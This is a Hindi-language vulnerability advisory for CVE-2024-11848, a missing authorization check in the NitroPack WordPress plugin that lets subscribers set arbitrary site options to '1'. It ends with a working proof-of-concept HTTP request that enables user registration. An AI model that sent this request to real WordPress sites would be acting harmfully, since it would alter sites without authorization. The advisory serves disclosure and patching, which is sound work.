CVE-2024-11848

NitroPack <= 1.17.0 - प्रमाणित (सब्सक्राइबर+) सीमित विकल्प अपडेट के लिए प्राधिकरण की कमी

विवरण

WordPress के लिए NitroPack प्लगइन, 1.17.0 तक के सभी संस्करणों में (1.17.0 सहित) 'nitropack_dismiss_notice_forever' AJAX क्रिया पर क्षमता जांच की कमी के कारण डेटा के अनधिकृत संशोधन के प्रति संवेदनशील है। यह प्रमाणित हमलावरों को, सब्सक्राइबर-स्तर या उससे ऊपर की पहुंच के साथ, मनमाने विकल्पों को एक निश्चित मान '1' में अपडेट करने में सक्षम बनाता है, जो कुछ विकल्पों को सक्रिय कर सकता है (जैसे, उपयोगकर्ता पंजीकरण सक्षम करना) या कुछ विकल्पों को इस तरह संशोधित कर सकता है जिससे सेवा से वंचित (denial of service) की स्थिति उत्पन्न होती है।

ब्यौरा

• प्रकार: प्लगइन
• स्लग: nitropack
• प्रभावित संस्करण: 1.17.0
• CVSS स्कोर: 8.1
• CVSS रेटिंग: उच्च
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• CVE: CVE-2024-11848
• स्थिति: सक्रिय

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88

action=nitropack_dismiss_notice_forever&security=92f60ea3ea&notice_id=users_can_register